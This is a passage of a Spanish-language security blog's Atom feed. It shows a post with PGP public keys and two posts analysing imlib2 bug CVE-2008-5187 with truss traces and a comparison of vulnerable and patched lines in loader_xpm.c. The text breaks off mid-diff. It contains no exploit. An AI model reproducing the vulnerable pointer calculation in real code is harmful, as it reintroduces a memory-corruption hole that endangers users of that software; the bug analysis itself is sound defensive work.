/&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;Version: 2.6.3ia&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;mQCNA0kfunUAAAEEAKPFiwXzm5mtuHximnqMcw5/MdnSRpWD7Vpy3a/9zMos/ARE&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;f7mQJ7nqkEzuhu8tmTZ/qPhhOZi4hPx82PicsBo0quxbfTvJfLgqY5Oq6QNMUeX9&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;T9WatrVLnQa9bOwNWpaGkxGDG0MWFAMraAR5EFs2iF0a4lVNVj0RloP1tHX9AAUR&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;tBhBbm9uIDxBbm9uQGVsaGFja2VyLm5ldD6JAJUDBRBJH7p1PRGWg/W0df0BAUI3&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;BACY4mBAgic5s+jTFUYkYGAk4b9Jz+mDuVBW5yKs4TMcgEXrEEBNzocve160DaLo&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;QXqRT+8yupndcu5Uxupk23npKkXfnROo17Zn8vJ8aiZkn9JGVQ1OqhQXSi959a6Q&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;l1kJlAhH/qQ0hoFFQ4SLkV0Rp6lQjMdBlPugHcN1ulNu2w==&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;=c42M&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;Nueva llave DSA:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Key ID: 0x&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;592F2029&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;Fingerprint for DSA Key: &lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;178D 0C89 E3B5 2965 6530  20CB 77DE B789 592F 2029&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt; &lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;1024D/592F2029 Anon _ (On Anonymous Mode!!) &amp;lt;&lt;a href="mailto:Anon@elhacker.net"&gt;Anon[at]elhacker.net&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new,monospace;"&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;br /&gt;Version: GnuPG v1.4.9 (FreeBSD)&lt;br /&gt;&lt;br /&gt;mQGiBElkDJURBACdX+VAjzhy5JObq+8ciDX9Zj7zEYHErApxmqVEhU+R2dihdsDw&lt;br /&gt;DwOIQImFYiheAH4J/bHac+MiO3pUUL6L6G5KhRXn2lJoEVbD1w8Pk9jmXQpW2p0s&lt;br /&gt;+v1GARPQawYFEOZA60fgHzktSNsX0VoZxQ1kdpSKPs1Ub1daHNQJIuTbUwCgusvr&lt;br /&gt;FwMhQRlkDoaWZqF6KClEvIUEAI6jGFk1vqFQh8Fs8uouDlxoj9+HpHEqK8Q44bRt&lt;br /&gt;i9kX+MR/rSc5690dMMLn2P2nbs+w8zHbyCVqxTajCxIVzbzYSWzQppyTl71d/Fpa&lt;br /&gt;uRQF5nCYli9+lisQCbG0qEmepuPX4dyOU/QMxFqMjamIGhVQYDZOi5bxfQSfurhd&lt;br /&gt;4zjTA/4vCEUnxpLoO9EDJqmoKSmjwzWD1iGlmrJRavvcsOWSMMNyb4Kmvz0jX/55&lt;br /&gt;1t96pSRmequl8v0QJw9Te7ARDAgwbnxF0bXnbjATxAejyTwOSkpNrGGk4uuF/5ZA&lt;br /&gt;WGXkQ5qKUtTVZ5WE/gQGAJsR2Wv5q7cPLhZA/aLW8GD/Jrms7LQwQW5vbiBfIChP&lt;br /&gt;biBBbm9ueW1vdXMgTW9kZSEhKSA8QW5vbkBlbGhhY2tlci5uZXQ+iGEEExECACEF&lt;br /&gt;AklkDJUCGwMHCwkIBwMCAQQVAggDBBYCAwECHgECF4AACgkQd963iVkvICkXDgCf&lt;br /&gt;V595dG4pyfyExBmWcAvcHzn2zcIAn0zXuQhEIMYtSn8eI8LQDZkRXJMSiJwEEAEC&lt;br /&gt;AAYFAklkDo4ACgkQPRGWg/W0df0CywP7Bdxz0GXvx05VizPHnqJuuJD/Qw5nZ2wt&lt;br /&gt;l7Hc+QL2b08AF0CSYMB7K8Mx9Hn09KbBnAzWjgaV18knATl/JUnETgBD00VTS9Sl&lt;br /&gt;3X4tUT6R8v1y/U7IYeqzr8zclP7ZLv1Caac9QHHtWuhQpLzSJ4g82pB4SPGbKWCp&lt;br /&gt;3VfW5V9IN4u5BA0ESWQMlRAQALalb8UYbjlLHtA1+4gfjTjxjvVDXmqymfECKpk+&lt;br /&gt;Q0QcbgefOpiXqrwRTJzD9LzhN2y8XYwn/I818vexA3/oknxLeAlFionQ9BDGfx40&lt;br /&gt;ISsyEzyAMRbxDV3mUk0oifX0Kh8a8lIBSyEp0sU6TzN4sQLMIWn87KbB6+Z8dp3L&lt;br /&gt;xmqjyTLkk9rIh5p3Pk+uX2PZaUX6VhGiiohe2VSQWhUnj6R8tVVhUsvZerYcL9bj&lt;br /&gt;x9XxOb/+ItIORXj9NDKjE4zYAFPbe8VP5f/nTBAMMCVwEn/rtcR0ar+3SRES06PT&lt;br /&gt;1Xk1inirDIjdgFnyV/o+yZGbbv7KPWyV2QlJ35B+YFaogemkWNaxNOkX9ReU+nBO&lt;br /&gt;m2w7/vGiLbIUeRYgqTV6zObNQ8iHPvCjDCB27Swzg3DqnJMCdFQeExoYafrcydhB&lt;br /&gt;w3mY0Ad8DmLVFNh0qmMEOQumz63qD2j5+C6RZFtYZD1v7oLR6xTVB8avJt6IKJlB&lt;br /&gt;lpX8zeO/VGlhtnRY2RY9jO74bVQdCPLerPSEAgoH13wQmkcclf8wIBIiBSpDRpZ/&lt;br /&gt;/YDba861JKo7NAI3uE7nNixeGy113dHFXOoyUbod+HDdgI3wANVn7dUNlLr3PhpM&lt;br /&gt;0t+r7Y3JNNZWmvClXn4K7DpFup3f8tJX8AkpSMMzq4/IT15msy/98TdF6BUbHQnF&lt;br /&gt;93GnAAMFD/4hIksu4TNWLCJnj0D65NXv4gDc/j08I91RvbcfsOj/qYLJdWyZjHCR&lt;br /&gt;WacsFcQ4Xlrvz44+C+KaoQnDtuUWaWhCcaoJ0badYwf1+18KeflJtWDqkVTS3Qvu&lt;br /&gt;XGpdNwx3VYv+7Ls+PtC4JuqZbldyEwqXAhmFMZwkvCIEUS7LdVnlKNTkhZDWGAeE&lt;br /&gt;gB9iEE5YuWfeFj8cqZ1/9bZmamJOTqbAZtobRfU5sJc1oceCgHyFURdVpteCKW2V&lt;br /&gt;PfvFGR70pUm4REAsBO2r/xGOdhePbi9nYpTN4/SnLr8C90GfbxGPsDFoMy9Bycno&lt;br /&gt;QoNoPaI8kyUY4KaNg2TDhP5MwLnbZ1JFLScqRvromUhKodoKl+H1QIh94w+VTUos&lt;br /&gt;hGkxE6CelIqftOXSNf7QYh2AjbsxW2nZ7RUxewmKpnQx6aqzdkmDrvv2ctXdV/fB&lt;br /&gt;iQMjMohF+VrZc4sQmyAagBf83Fk9HwWb+blQplWgWJ4AHzek4YVQjsBGznnurDJI&lt;br /&gt;SBatq8NcamNTStYTBz3oywzQ1mCx7du195GKRZOvllA9tOrQUV15X3b+nFPgPtDk&lt;br /&gt;+8DewbsE+A2wvSMGRjmg28W/CAupt3Dg0THQwfia+wwBD3ENIrEVg7ZfWcWOBPkz&lt;br /&gt;/6s5PeKHjPk1nMi14qxsnNN9PkEc+xjQ6/rVsilREgtjH8R/n+HYK4hJBBgRAgAJ&lt;br /&gt;BQJJZAyVAhsMAAoJEHfet4lZLyApQNkAoLg6EGFALzYb9WY6FfrTMvFpIahOAJ0Z&lt;br /&gt;ivZBzNM9TrEmbiFfvC/iP/L+1Q==&lt;br /&gt;=686s&lt;br /&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;br /&gt;Para los que tenian mi llave anterior podran comprobar que esta nueva esta firmada por mi llave anterior, para comprobar su valides.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Un Saludo&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3548669918470935135?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3548669918470935135/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3548669918470935135' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3548669918470935135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3548669918470935135'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/01/mis-llaves-pgp.html' title='Mis llaves PGP'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4633032899200756193</id><published>2008-12-05T13:06:00.002-06:00</published><updated>2008-12-05T13:11:43.994-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Analisis'/><category scheme='http://www.blogger.com/atom/ns#' term='Imlib2'/><category scheme='http://www.blogger.com/atom/ns#' term='Bug'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2008-5187'/><title type='text'>Re: Analisis de un Bug: 'imlib2' Library 'load()' CVE-2008-5187</title><content type='html'>Bien estos dias voy a estar algo ocupado con lo del trabajo y eso. Solo veremos una tecnica mas de depuracion.&lt;br&gt;Este nos sirve mas que nada para cuando, el bug se enecunetra en una libreria, tal y como es nuestro caso:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%truss -f -d -o prueba.truss ./imlib2_convert ./prueba.xpm ./prueba.png&lt;/div&gt;&lt;br&gt;Este comando nos generara un archivo prueba.truss&lt;br&gt;&lt;br&gt;Mas informacion sobre truss:&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;http://fuse4bsd.creo.hu/localcgi/man-cgi.cgi?truss+1&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;De este lo podemos examinar con:&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cat prueba.truss&lt;/div&gt;&lt;br&gt;Pero lo que nos interesa es ver que librerias carga:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cat prueba.truss | grep open&lt;br&gt;27161: 0.000555657 open("/etc/libmap.conf",O_RDONLY,0666) ERR#2 'No such file or directory'&lt;br&gt;27161: 0.000624940 open("/var/run/ld-elf.so.hints",O_RDONLY,00) = 4 (0x4)&lt;br&gt;27161: 0.001195124 open("/usr/local/lib/libImlib2.so.5",O_RDONLY,00) = 4 (0x4)&lt;br&gt;27161: 0.002000254 open("/usr/local/lib/libfreetype.so.9",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.002534400 open("/lib/libz.so.4",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.003249575 open("/usr/local/lib/libX11.so.6",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.003975924 open("/usr/local/lib/libXext.so.6",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.004507276 open("/lib/libm.so.5",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.005050921 open("/lib/libc.so.7",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.005640102 open("/usr/local/lib/libXau.so.6",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.006182070 open("/usr/local/lib/libXdmcp.so.6",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.006825169 open("/usr/lib/librpcsvc.so.4",O_RDONLY,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.010692141 open("/usr/local/lib/imlib2/loaders",O_NONBLOCK,027757765154) = 4 (0x4)&lt;br&gt;27161: 0.011528560 open("/usr/local/lib/imlib2/loaders/zlib.so",O_RDONLY,00) = 4 (0x4)&lt;br&gt;&lt;b&gt;27161: 0.012475049 open("/usr/local/lib/imlib2/loaders/xpm.so",O_RDONLY,00) = 4 (0x4)&lt;/b&gt;&lt;br&gt;27161: 0.013366224 open("/usr/local/lib/imlib2/loaders/tiff.so",O_RDONLY,027757765354) = 4 (0x4)&lt;br&gt;27161: 0.013917132 open("/usr/local/lib/libtiff.so.4",O_RDONLY,05001126346) = 4 (0x4)&lt;br&gt;27161: 0.014448764 open("/usr/local/lib/libjpeg.so.9",O_RDONLY,027757765314) = 4 (0x4)&lt;br&gt;27161: 0.016059583 open("/usr/local/lib/imlib2/loaders/tga.so",O_RDONLY,057765354) = 4 (0x4)&lt;br&gt;27161: 0.017023113 open("/usr/local/lib/imlib2/loaders/pnm.so",O_RDONLY,027757765354) = 4 (0x4)&lt;br&gt;27161: 0.017904231 open("/usr/local/lib/imlib2/loaders/png.so",O_RDONLY,027757765354) = 4 (0x4)&lt;br&gt;27161: 0.018456256 open("/usr/local/lib/libpng.so.5",O_RDONLY,05001126346) = 4 (0x4)&lt;br&gt;27161: 0.019926275 open("/usr/local/lib/imlib2/loaders/lbm.so",O_RDONLY,057765354) = 4 (0x4)&lt;br&gt;27161: 0.020819685 open("/usr/local/lib/imlib2/loaders/jpeg.so",O_RDONLY,027757764470) = 4 (0x4)&lt;br&gt;27161: 0.021755837 open("/usr/local/lib/imlib2/loaders/id3.so",O_RDONLY,027757765354) = 4 (0x4)&lt;br&gt;27161: 0.022305349 open("/usr/local/lib/libid3tag.so.0",O_RDONLY,05001126346) = 4 (0x4)&lt;br&gt;27161: 0.023608308 open("/usr/local/lib/imlib2/loaders/gif.so",O_RDONLY,027757764470) = 4 (0x4)&lt;br&gt;27161: 0.024143571 open("/usr/local/lib/libungif.so.5",O_RDONLY,05001126346) = 4 (0x4)&lt;br&gt;27161: 0.024733031 open("/usr/local/lib/libSM.so.6",O_RDONLY,027757765314) = 4 (0x4)&lt;br&gt;27161: 0.025264384 open("/usr/local/lib/libICE.so.6",O_RDONLY,027757765314) = 4 (0x4)&lt;br&gt;27161: 0.027015165 open("/usr/local/lib/imlib2/loaders/bz2.so",O_RDONLY,01) = 4 (0x4)&lt;br&gt;27161: 0.027678937 open("/usr/lib/libbz2.so.3",O_RDONLY,05001126346) = 4 (0x4)&lt;br&gt;27161: 0.028755889 open("/usr/local/lib/imlib2/loaders/bmp.so",O_RDONLY,00) = 4 (0x4)&lt;br&gt;27161: 0.029659915 open("/usr/local/lib/imlib2/loaders/argb.so",O_RDONLY,027757765354) = 4 (0x4)&lt;br&gt;27161: 0.030491864 open("./prueba.xpm",O_RDONLY,0666) = 4 (0x4)&lt;br&gt;27161: 0.031230785 open("./prueba.xpm",O_RDONLY,0666) = 4 (0x4)&lt;br&gt;27161: 0.031834493 open("./prueba.png",O_WRONLY|O_CREAT|O_TRUNC,0666) = 4 (0x4)&lt;/div&gt;&lt;br&gt;Podemos extender la busqueda solo a libredias con "lib" ya que el anterior tambien nos arrojo los archivos que habre como ./prueba.xpm y ./prueba.png que son los uqe nosotros le pasamos.&lt;br&gt;&lt;br&gt;Filtremos solo xpm y lib &lt;img src="http://foro.elhacker.net/Smileys/chef/wink.gif" alt=";)" border="0"&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cat prueba.truss | grep open |grep lib | grep xpm&lt;br&gt;27161: 0.012475049 open("/usr/local/lib/imlib2/loaders/xpm.so",O_RDONLY,00) = 4 (0x4)&lt;/div&gt;&lt;br&gt;&lt;img src="http://foro.elhacker.net/Smileys/chef/wink.gif" alt=";)" border="0"&gt; Vemos que si carga el archivo vulnerable, entonces lo mas probable es que si use la funcion load del archivo loaders_xpm.c para cargar la imagen ./prueba.xpm que le pasamos, seria cuestion de depurarlo un poco mas.&lt;br&gt;&lt;br&gt;A ver me voy volver loco con tantas archivos.&lt;br&gt;&lt;br&gt;En el direcctorio de src de imlib2 esta la ruta:&lt;br&gt;&lt;br&gt;src/modules/loaders&lt;br&gt;&lt;br&gt;Listo los archivos xpm:&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%ls -l | grep xpm&lt;br&gt;-rw-r--r--&amp;nbsp; 1 1000&amp;nbsp; 1000&amp;nbsp; 28911 Dec&amp;nbsp; 5 10:55 loader_xpm.c&lt;br&gt;-rw-r--r--&amp;nbsp; 1 root&amp;nbsp; 1000&amp;nbsp; &amp;nbsp; 344 Dec&amp;nbsp; 5 10:55 loader_xpm.lo&lt;br&gt;-rw-r--r--&amp;nbsp; 1 root&amp;nbsp; 1000&amp;nbsp; 20032 Dec&amp;nbsp; 5 10:55 loader_xpm.o&lt;br&gt;-rw-r--r--&amp;nbsp; 1 root&amp;nbsp; 1000&amp;nbsp; &amp;nbsp; 882 Dec&amp;nbsp; 5 10:55 xpm.la&lt;/div&gt;&lt;br&gt;&lt;br&gt;Tenemos:&lt;br&gt;&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;loader_xpm.c&lt;/li&gt;&lt;li&gt;loader_xpm.lo&lt;/li&gt;&lt;li&gt;loader_xpm.o&lt;/li&gt;&lt;li&gt;xpm.la&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;pero el programa carga /usr/local/lib/imlib2/loaders/xpm.so entonces vemos que al instalar la libreria nos menciona lo siguiente:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Libraries have been installed in:&lt;br&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;/usr/local/lib/imlib2/loaders&lt;/b&gt;&lt;br&gt;&lt;br&gt;If you ever happen to want to link against installed libraries&lt;br&gt;in a given directory, LIBDIR, you must either use libtool, and&lt;br&gt;specify the full pathname of the library, or use the `-LLIBDIR'&lt;br&gt;flag during linking and do at least one of the following:&lt;br&gt;&amp;nbsp; &amp;nbsp;- add LIBDIR to the `LD_LIBRARY_PATH' environment variable&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;during execution&lt;br&gt;&amp;nbsp; &amp;nbsp;- add LIBDIR to the `LD_RUN_PATH' environment variable&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;during linking&lt;br&gt;&amp;nbsp; &amp;nbsp;- use the `-Wl,--rpath -Wl,LIBDIR' linker flag&lt;br&gt;&lt;br&gt;See any operating system documentation about shared libraries for&lt;br&gt;more information, such as the ld(1) and ld.so(8) manual pages.&lt;br&gt;----------------------------------------------------------------------&lt;br&gt;&amp;nbsp;/bin/sh ../../../libtool --mode=install /usr/bin/install -c&amp;nbsp; 'xpm.la' '/usr/local/lib/imlib2/loaders/xpm.la'&lt;br&gt;/usr/bin/install -c .libs/xpm.lai /usr/local/lib/imlib2/loaders/xpm.la&lt;br&gt;/usr/bin/install -c .libs/xpm.a /usr/local/lib/imlib2/loaders/xpm.a&lt;br&gt;chmod 644 /usr/local/lib/imlib2/loaders/xpm.a&lt;br&gt;ranlib /usr/local/lib/imlib2/loaders/xpm.a&lt;br&gt;----------------------------------------------------------------------&lt;/div&gt;&lt;br&gt;Bueno seguire buscando.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4633032899200756193?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4633032899200756193/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4633032899200756193' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4633032899200756193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4633032899200756193'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/12/re-analisis-de-un-bug-imlib2-library.html' title='Re: Analisis de un Bug: &apos;imlib2&apos; Library &apos;load()&apos; CVE-2008-5187'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8208139729542424730</id><published>2008-12-04T13:22:00.001-06:00</published><updated>2008-12-04T13:24:51.255-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Analisis'/><category scheme='http://www.blogger.com/atom/ns#' term='Imlib2'/><category scheme='http://www.blogger.com/atom/ns#' term='Bug'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2008-5187'/><title type='text'>Analisis de un Bug: 'imlib2' Library 'load()' CVE-2008-5187</title><content type='html'>Bueno toda esta mania surgio de cuando trate de instalar enlightenment sencillamente me decia que habia un bug en alguna dependecia de este, y no me dejaba instalarlo hasta que actualizara o aplicara el parche.&lt;br&gt;&lt;br&gt;Mas Info:&lt;br&gt;&lt;br&gt;&lt;a href="http://foro.elhacker.net/mac_os_x_bsd/freebsd_problema_con_imlib2141000_solucion-t237231.0.html" target="_blank" class="posted"&gt;FreeBSD: Problema con imlib2-1.4.1.000 (Solucion)&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;br&gt;&lt;b&gt;CVE-2008-5187&lt;/b&gt;&lt;br&gt;&lt;br&gt;Advisor Original:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505714&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Antecedentes&lt;br&gt;&lt;br&gt;Imlib2 es el succesor de Imlib, Esto no es una nueva version, solo es una bibliotecas totalmente nueva. Imlib2 puede ser completamente instalado aun existiendo Imlib 1.x esto sin ningun problema, ya que efectivamente son diferentes bibliotecas pero con funciones muy similares.&lt;br&gt;Si bien no forma estrictamente parte de la EFL, la biblioteca es utilizada imlib2 por la EFL para el manejo, visualización y manipulación de gráficos a bajo nivel. Es capaz de cargar y manipular archivos de gráficos de muchos formatos, y también es capaz de mostrar en un X Window System. Los desarrolladores cuentan con imlib2 que es muy optimizado.&lt;br&gt;&lt;br&gt;XPM es una formato de imagen, basdo en Texto/ASCII Usado pro el X Window System, Su principal Intencion fue para crear Iconos, pixmaps y soportar colores traparentes.&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;http://en.wikipedia.org/wiki/X_PixMap&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Un ejemplo de una imagen XMP&lt;br&gt;&lt;br&gt;16*7 black and white pixels.&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;/* XPM */&lt;br&gt;static char *prueba[] = {&lt;br&gt;"16 7 2 1",&lt;br&gt;"* c #ffffff",&lt;br&gt;". c #000000",&lt;br&gt;"**..*...........",&lt;br&gt;"*.*.*...........",&lt;br&gt;"**..*..**.**..**",&lt;br&gt;"*.*.*.*.*.*..*.*",&lt;br&gt;"**..*..**.*...**",&lt;br&gt;"...............*",&lt;br&gt;".............**."&lt;br&gt;};&lt;/div&gt;&lt;br&gt;Version: imlib2-1.4.1.000&lt;br&gt;Codigo Vulnerable: loader_xpm.c&lt;br&gt;Funcion Vulnerable: load&lt;br&gt;&lt;br&gt;Analizando el parche tenemos que:&lt;br&gt;&lt;br&gt;Funcion vulnerable:&lt;br&gt;&lt;br&gt;Linea 250:&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ptr = im-&amp;gt;data;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; end = ptr + (sizeof(DATA32) * w * h);&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pixels = w * h;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Funcion NO vulnerable&lt;br&gt;&lt;br&gt;Linea 250:&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ptr = im-&amp;gt;data;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pixels = w * h;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; end = ptr + pixels;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;Viendolo solo desde el diff:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;# diff imlib2-1.4.1.000/imlib2-1.4.1.000/src/modules/loaders/loader_xpm.c /usr/ports/graphics/imlib2/work/imlib2-1.4.1.000/src/modules/loaders/loader_xpm.c&lt;br&gt;251d250&lt;br&gt;&amp;lt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;end = 